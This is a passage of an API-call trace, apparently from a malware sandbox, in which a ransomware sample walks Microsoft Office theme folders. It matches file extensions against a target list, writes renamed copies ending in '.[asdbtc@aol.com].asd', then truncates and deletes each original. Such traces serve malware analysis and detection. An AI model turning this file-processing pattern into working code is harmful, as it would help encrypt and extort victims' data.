shared\\themes14\\quad\\preview.gif")) returned 1 [0054.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0054.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0054.870] lstrlenW (lpString=".doc") returned 4 [0054.870] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.870] lstrlenW (lpString=".docx") returned 5 [0054.870] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0054.870] lstrlenW (lpString=".pdf") returned 4 [0054.870] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.870] lstrlenW (lpString=".xls") returned 4 [0054.870] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.871] lstrlenW (lpString=".xlsx") returned 5 [0054.871] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0054.871] lstrlenW (lpString=".ppt") returned 4 [0054.871] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.871] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0054.871] lstrlenW (lpString=".zip") returned 4 [0054.871] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.871] lstrlenW (lpString=".rar") returned 4 [0054.871] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.871] lstrlenW (lpString=".bz2") returned 4 [0054.871] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.871] lstrlenW (lpString=".7z") returned 3 [0054.871] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.871] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0054.871] lstrlenW (lpString=".dbf") returned 4 [0054.871] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.871] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0054.871] lstrlenW (lpString=".1cd") returned 4 [0054.871] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.871] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0054.871] lstrlenW (lpString=".jpg") returned 4 [0054.871] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.871] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0054.871] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0054.871] lstrlenW (lpString=".doc") returned 4 [0054.871] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.872] lstrlenW (lpString=".docx") returned 5 [0054.872] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0054.872] lstrlenW (lpString=".pdf") returned 4 [0054.872] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.872] lstrlenW (lpString=".xls") returned 4 [0054.872] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.872] lstrlenW (lpString=".xlsx") returned 5 [0054.872] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0054.872] lstrlenW (lpString=".ppt") returned 4 [0054.872] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0054.872] lstrlenW (lpString=".zip") returned 4 [0054.872] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.872] lstrlenW (lpString=".rar") returned 4 [0054.872] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.872] lstrlenW (lpString=".bz2") returned 4 [0054.872] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.872] lstrlenW (lpString=".7z") returned 3 [0054.872] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0054.872] lstrlenW (lpString=".dbf") returned 4 [0054.872] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0054.872] lstrlenW (lpString=".1cd") returned 4 [0054.872] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0054.872] lstrlenW (lpString=".jpg") returned 4 [0054.872] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.872] lstrcmpiW (lpString1=".PNG", lpString2=".asd") returned 1 [0054.873] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0054.873] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0054.873] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=37112) returned 1 [0054.873] CloseHandle (hObject=0x1f4) returned 1 [0054.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png")) returned 0x20 [0054.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0054.873] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0054.873] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.873] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.873] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0054.874] GetLastError () returned 0x0 [0054.874] ReadFile (in: hFile=0x1f4, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x90f8, lpOverlapped=0x0) returned 1 [0054.876] WriteFile (in: hFile=0x1dc, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0x9100, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x9100, lpOverlapped=0x0) returned 1 [0054.878] ReadFile (in: hFile=0x1f4, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.878] WriteFile (in: hFile=0x1dc, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.878] SetEndOfFile (hFile=0x1dc) returned 1 [0054.878] CloseHandle (hObject=0x1dc) returned 1 [0054.878] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.878] SetEndOfFile (hFile=0x1f4) returned 1 [0054.879] CloseHandle (hObject=0x1f4) returned 1 [0054.879] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0054.879] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png")) returned 1 [0054.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0054.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0054.880] lstrlenW (lpString=".doc") returned 4 [0054.880] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0054.880] lstrlenW (lpString=".docx") returned 5 [0054.880] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0054.880] lstrlenW (lpString=".pdf") returned 4 [0054.880] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0054.880] lstrlenW (lpString=".xls") returned 4 [0054.880] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0054.880] lstrlenW (lpString=".xlsx") returned 5 [0054.880] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0054.880] lstrlenW (lpString=".ppt") returned 4 [0054.880] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0054.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0054.880] lstrlenW (lpString=".zip") returned 4 [0054.880] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0054.880] lstrlenW (lpString=".rar") returned 4 [0054.880] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0054.880] lstrlenW (lpString=".bz2") returned 4 [0054.880] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0054.880] lstrlenW (lpString=".7z") returned 3 [0054.880] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0054.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0054.880] lstrlenW (lpString=".dbf") returned 4 [0054.880] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0054.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0054.880] lstrlenW (lpString=".1cd") returned 4 [0054.880] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0054.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0054.881] lstrlenW (lpString=".jpg") returned 4 [0054.881] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0054.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0054.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0054.881] lstrlenW (lpString=".doc") returned 4 [0054.881] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0054.881] lstrlenW (lpString=".docx") returned 5 [0054.881] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0054.881] lstrlenW (lpString=".pdf") returned 4 [0054.881] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0054.881] lstrlenW (lpString=".xls") returned 4 [0054.881] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0054.881] lstrlenW (lpString=".xlsx") returned 5 [0054.881] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0054.881] lstrlenW (lpString=".ppt") returned 4 [0054.881] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0054.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0054.881] lstrlenW (lpString=".zip") returned 4 [0054.881] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0054.881] lstrlenW (lpString=".rar") returned 4 [0054.881] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0054.881] lstrlenW (lpString=".bz2") returned 4 [0054.881] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0054.881] lstrlenW (lpString=".7z") returned 3 [0054.881] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0054.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0054.881] lstrlenW (lpString=".dbf") returned 4 [0054.881] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0054.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0054.881] lstrlenW (lpString=".1cd") returned 4 [0054.882] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0054.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0054.882] lstrlenW (lpString=".jpg") returned 4 [0054.882] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0054.882] lstrcmpiW (lpString1=".GIF", lpString2=".asd") returned 1 [0054.882] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0054.882] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0054.883] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=1666) returned 1 [0054.883] CloseHandle (hObject=0x1f4) returned 1 [0054.883] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif")) returned 0x20 [0054.883] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0054.883] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0054.883] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.883] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.883] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0054.885] GetLastError () returned 0x0 [0054.885] ReadFile (in: hFile=0x1f4, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x682, lpOverlapped=0x0) returned 1 [0055.055] WriteFile (in: hFile=0x1dc, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x690, lpOverlapped=0x0) returned 1 [0055.057] ReadFile (in: hFile=0x1f4, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.057] WriteFile (in: hFile=0x1dc, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xea, lpOverlapped=0x0) returned 1 [0055.057] SetEndOfFile (hFile=0x1dc) returned 1 [0055.057] CloseHandle (hObject=0x1dc) returned 1 [0055.058] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.058] SetEndOfFile (hFile=0x1f4) returned 1 [0055.059] CloseHandle (hObject=0x1f4) returned 1 [0055.059] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0055.059] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif")) returned 1 [0055.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0055.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0055.059] lstrlenW (lpString=".doc") returned 4 [0055.059] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0055.059] lstrlenW (lpString=".docx") returned 5 [0055.059] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0055.059] lstrlenW (lpString=".pdf") returned 4 [0055.059] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0055.059] lstrlenW (lpString=".xls") returned 4 [0055.059] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0055.059] lstrlenW (lpString=".xlsx") returned 5 [0055.059] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0055.059] lstrlenW (lpString=".ppt") returned 4 [0055.059] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0055.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0055.060] lstrlenW (lpString=".zip") returned 4 [0055.060] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0055.060] lstrlenW (lpString=".rar") returned 4 [0055.060] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0055.060] lstrlenW (lpString=".bz2") returned 4 [0055.060] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0055.060] lstrlenW (lpString=".7z") returned 3 [0055.060] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0055.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0055.060] lstrlenW (lpString=".dbf") returned 4 [0055.060] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0055.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0055.060] lstrlenW (lpString=".1cd") returned 4 [0055.060] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0055.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0055.060] lstrlenW (lpString=".jpg") returned 4 [0055.060] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0055.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0055.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0055.060] lstrlenW (lpString=".doc") returned 4 [0055.060] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0055.060] lstrlenW (lpString=".docx") returned 5 [0055.060] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0055.060] lstrlenW (lpString=".pdf") returned 4 [0055.060] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0055.060] lstrlenW (lpString=".xls") returned 4 [0055.060] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0055.060] lstrlenW (lpString=".xlsx") returned 5 [0055.060] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0055.060] lstrlenW (lpString=".ppt") returned 4 [0055.061] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0055.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0055.061] lstrlenW (lpString=".zip") returned 4 [0055.061] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0055.061] lstrlenW (lpString=".rar") returned 4 [0055.061] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0055.061] lstrlenW (lpString=".bz2") returned 4 [0055.061] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0055.061] lstrlenW (lpString=".7z") returned 3 [0055.061] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0055.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0055.061] lstrlenW (lpString=".dbf") returned 4 [0055.061] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0055.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0055.061] lstrlenW (lpString=".1cd") returned 4 [0055.061] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0055.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0055.061] lstrlenW (lpString=".jpg") returned 4 [0055.061] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0055.061] lstrcmpiW (lpString1=".GIF", lpString2=".asd") returned 1 [0055.061] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0055.061] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0055.062] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=3970) returned 1 [0055.062] CloseHandle (hObject=0x1f4) returned 1 [0055.062] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif")) returned 0x20 [0055.062] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0055.062] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0055.062] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.062] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.062] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0055.115] GetLastError () returned 0x0 [0055.115] ReadFile (in: hFile=0x1f4, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0xf82, lpOverlapped=0x0) returned 1 [0055.248] WriteFile (in: hFile=0x208, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xf90, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xf90, lpOverlapped=0x0) returned 1 [0055.249] ReadFile (in: hFile=0x1f4, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.249] WriteFile (in: hFile=0x208, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xea, lpOverlapped=0x0) returned 1 [0055.249] SetEndOfFile (hFile=0x208) returned 1 [0055.250] CloseHandle (hObject=0x208) returned 1 [0055.253] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.253] SetEndOfFile (hFile=0x1f4) returned 1 [0055.254] CloseHandle (hObject=0x1f4) returned 1 [0055.254] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0055.254] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program 